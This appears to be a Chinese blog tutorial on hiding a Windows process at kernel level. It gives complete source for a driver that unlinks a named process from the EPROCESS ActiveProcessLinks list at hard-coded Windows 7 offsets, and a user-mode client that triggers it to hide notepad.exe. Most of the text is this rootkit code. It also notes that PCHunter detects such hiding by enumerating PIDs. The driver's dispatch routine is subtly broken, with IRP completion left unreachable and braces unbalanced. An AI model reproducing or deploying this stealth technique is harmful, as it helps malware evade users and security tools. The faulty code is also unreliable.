隐藏进程之内核版实现
隐藏进程通常出现在恶意程序中,隐藏的进程能让任务管理器、procexp等3环的程序无法找到它,那么如何实现隐藏进程呢?
由于对这方面还是很感兴趣,今天就来研究一下内核层的隐藏进程,首先在用户层3环,如任务管理器、procexp遍历进程都是使用CreateToolhelp32Snapshot()API创建快照遍历查找的,使用快照的API在内核中就是通过访问一个双向链表的数据结构来得到每一个进程的信息的,那么我们只要把需要隐藏的进程信息从这个链表中干掉,就能完成隐藏的目的。
每个进程在内核中都有一个内核对象,内核对象的信息被保存在一个名为_EPROCESS的结构体中,首先进行双机调试,在这我调试的是WIN7虚拟机,在windbg调试器中输入dt _eprocess指令即可查看_EPROCESS结构体
在这里要注意的是偏移0xb8的一个字段:
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
这个字段记录的就是当前系统上的活动进程链表, 通过遍历这条链表就能得到当前系统上的所有进程。
在隐藏进程时还需要关注的一个字段是在偏移为0x16c处的一个字段:
+0x16c ImageFileName : [15] UChar
这个字段记录的当前进程的名称字符串的地址。
当然上面这两个的字段的偏移并不是固定的,在不同版本的系统中偏移有可能不同,所以使用时要查看该系统的字段偏移。
_LIST_ENTRY是一个双向链表,分别指向下一节点和上一节点
系统通过这个链表把每个进程都链接在了一起,假设现在系统中只有3个进程,那么链接关系大体如下图
那么从上图中可以看出只要操作_LIST_ENTRY这个双向链表,我们就可以遍历系统上的全部进程。在隐藏进程中,我们只要通过链表操作,对比进程名称,找到我们想隐藏的程序,把它从这个链表中删除。
在这通过一个宏:
PsGetCurrentProcess()
作用是可获取当前进程的内核对象,可得到当前第一个节点。主要代码如下
//进程名称
char* ProcName = NULL;
ProcName = (char*)pInputBuff;
//获取当前进程对象
PEPROCESS NowProc = PsGetCurrentProcess();
//获取进程对象内的当前活动进程链表
LIST_ENTRY* pNowList = (LIST_ENTRY*)((ULONG)NowProc + 0xb8);
//临时链表
LIST_ENTRY* pTempList = pNowList;
//遍历链表
while (pNowList != pTempList->Flink)
{
//相对进程对象偏移0x16c保存的是ImageFileName,
//当前相对进程对象偏移是0xb8,需要减去
//对比是否为目标进程
if (!strcmp(ProcName, (char*)
((ULONG)pTempList - 0xb8 + 0x16c)))
{
//把找到的进程从链表中删除
(pTempList->Blink)->Flink = pTempList->Flink;
(pTempList->Flink)->Blink = pTempList->Blink;
pTempList->Flink = pTempList->Blink = NULL;
KdPrint(("成功删除程序链表节点\n"));
break;
}
pTempList = pTempList->Flink;
}
亲测有效,我隐藏的是记事本notepad.exe,在任务管理器中确实找不到这个进程,在procexp也没有,见图
使用内核级工具PCHunter查看进程
上图PCHunter中notepad.exe确实存在,还把该程序标称红色,说明是危险程序,因为PCHunter检测出他是隐藏的程序所以标红,这也说明PCHunter功能非常强大!
到此内核版隐藏进程就成功了,但它并不就是无敌了,PCHunter能找到隐藏的进程的因为它遍历进程方法与任务管理器的方式不同,它是通过内核级API进行暴力枚举,通过PsLookupProcessByProcessId这个API,其原理是输入一个PID返回该进程的EPROCESS结构的引用指针,那么for循环假设给定PID是遍历0~10万,那么PID只要在这个范围的的进程就无所遁形都会被找出来,这就是传说中的暴力枚举进程!
具体源码:
内核层:
#include <ntifs.h>
#define IOCTL_BASE 0x800
#define MY_CTL_CODE(code) \
CTL_CODE( \
FILE_DEVICE_UNKNOWN, \
IOCTL_BASE+(code), \
METHOD_OUT_DIRECT, \
0 \
)
#define DF_GET_PROC_HIDE MY_CTL_CODE(7)
//卸载驱动
void UnLoad(DRIVER_OBJECT* obj)
{
KdPrint(("驱动已卸载\n"));
UNICODE_STRING userName;
RtlInitUnicodeString(&userName,
L"\\DosDevices\\MyFristDriver_User");
//删除符号链接
IoDeleteSymbolicLink(&userName);
//删除设备对象
IoDeleteDevice(obj->DeviceObject);
}
NTSTATUS InCreate(DEVICE_OBJECT *Device, IRP *irp);
NTSTATUS InClose(DEVICE_OBJECT *Device, IRP *irp);
NTSTATUS DeviceCtrl(DEVICE_OBJECT* device, IRP* irp);
//驱动入口
NTSTATUS DriverEntry(DRIVER_OBJECT* driver, UNICODE_STRING* path)
{
path;
KdPrint(("驱动已加载\n"));
DbgBreakPoint();
//1.创建一个设备对象
DEVICE_OBJECT* DeviceObj = NULL;
UNICODE_STRING deviceName;
RtlInitUnicodeString(&deviceName,
L"\\Device\\MyFristDriver");
NTSTATUS status = IoCreateDevice(
driver,
0,
&deviceName,
FILE_DEVICE_UNKNOWN,
0, 0,
&DeviceObj);
if (status != STATUS_SUCCESS)
return status;
driver->Flags |= DO_DIRECT_IO;//直接IO
//2.绑定一个符号链接
UNICODE_STRING userName;
RtlInitUnicodeString(&userName,
L"\\DosDevices\\MyFristDriver_User");
IoCreateSymbolicLink(&userName, &deviceName);
//调用派遣函数
driver->MajorFunction[IRP_MJ_CREATE] = InCreate;
driver->MajorFunction[IRP_MJ_CLOSE] = InClose;
driver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceCtrl;
driver->DriverUnload = UnLoad;
return STATUS_SUCCESS;
}
NTSTATUS InCreate(DEVICE_OBJECT *Device, IRP *irp)
{
Device;
KdPrint(("调用了创建派遣函数\n"));
irp->IoStatus.Status = STATUS_SUCCESS;
irp->IoStatus.Information = 0;
IoCompleteRequest(irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS InClose(DEVICE_OBJECT *Device, IRP *irp)
{
Device;
KdPrint(("调用了关闭派遣函数\n"));
irp->IoStatus.Status = STATUS_SUCCESS;
irp->IoStatus.Information = 0;
IoCompleteRequest(irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
//通过控制码方式通讯
NTSTATUS DeviceCtrl(DEVICE_OBJECT* device, IRP* irp)
{
KdPrint(("已进入控制码通讯\n"));
device;
NTSTATUS status = STATUS_SUCCESS;
ULONG complateSize = 0;
HANDLE hFile = NULL;
irp->IoStatus.Status = STATUS_SUCCESS;
//1.获取IO栈位置
IO_STACK_LOCATION* pIoStack =
IoGetCurrentIrpStackLocation(irp);
//2.获取传入的参数
//2.1 IO设备控制码
ULONG ctrlCode =
pIoStack->Parameters.DeviceIoControl.IoControlCode;
//2.2 输入缓冲区的字节数
ULONG inputSize = pIoStack->
Parameters.DeviceIoControl.InputBufferLength;
//2.3获取输入缓冲区
PVOID pInputBuff = irp->AssociatedIrp.SystemBuffer;
//选择控制码
switch (ctrlCode)
{
//HideProcess
case DF_GET_PROC_HIDE:
{
//进程名称
char* ProcName = NULL;
ProcName = (char*)pInputBuff;
//获取当前进程对象
PEPROCESS NowProc = PsGetCurrentProcess();
//获取进程对象内的当前活动进程链表
LIST_ENTRY* pNowList = (LIST_ENTRY*)((ULONG)NowProc + 0xb8);
//临时链表
LIST_ENTRY* pTempList = pNowList;
//遍历链表
while (pNowList != pTempList->Flink)
{
//相对进程对象偏移0x16c保存的是ImageFileName,
//当前相对进程对象偏移是0xb8,需要减去
if (!strcmp(ProcName, (char*)
((ULONG)pTempList - 0xb8 + 0x16c)))
{
//把找到的进程从链表中删除
(pTempList->Blink)->Flink = pTempList->Flink;
(pTempList->Flink)->Blink = pTempList->Blink;
pTempList->Flink = pTempList->Blink = NULL;
KdPrint(("成功删除程序链表节点\n"));
break;
}
pTempList = pTempList->Flink;
}
}
break;
irp->IoStatus.Status = STATUS_SUCCESS;
irp->IoStatus.Information = inputSize;
IoCompleteRequest(irp, IO_NO_INCREMENT);
return status;
}
用户层:
#include <windows.h>
#define IOCTL_BASE 0x800
#define MY_CTL_CODE(code) \
CTL_CODE( \
FILE_DEVICE_UNKNOWN, \
IOCTL_BASE+(code), \
METHOD_OUT_DIRECT, \
0 \
)
#define DF_GET_PROC_HIDE MY_CTL_CODE(7)
//隐藏进程
void HideProc(HANDLE hSys, DWORD size)
{
//要隐藏进程的字符
char pBuff[128] = { 0 };
int inputSize = strlen("notepad.exe") + 1;
memcpy(pBuff, "notepad.exe", inputSize);
//调用设备控制码函数
BOOL nRet = DeviceIoControl(
hSys,
DF_GET_PROC_HIDE,
(LPVOID)pBuff,
inputSize,
NULL,
0,
&size,
NULL);
if (!nRet)
{
printf("调用隐藏程序控制码失败%d\n", GetLastError());
return;
}
printf("隐藏程序成功!\n");
}
int main()
{
//打开该驱动
HANDLE hSys = CreateFile(
L"\\??\\MyFristDriver_User",
GENERIC_ALL,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hSys==INVALID_HANDLE_VALUE)
{
printf("打开驱动失败 %d\n", GetLastError());
getchar();
return 0;
}
else printf("打开驱动成功\n");
DWORD size = 0;
//调用隐藏进程函数
HideProc(hSys, size);
getchar();
CloseHandle(hSys);
}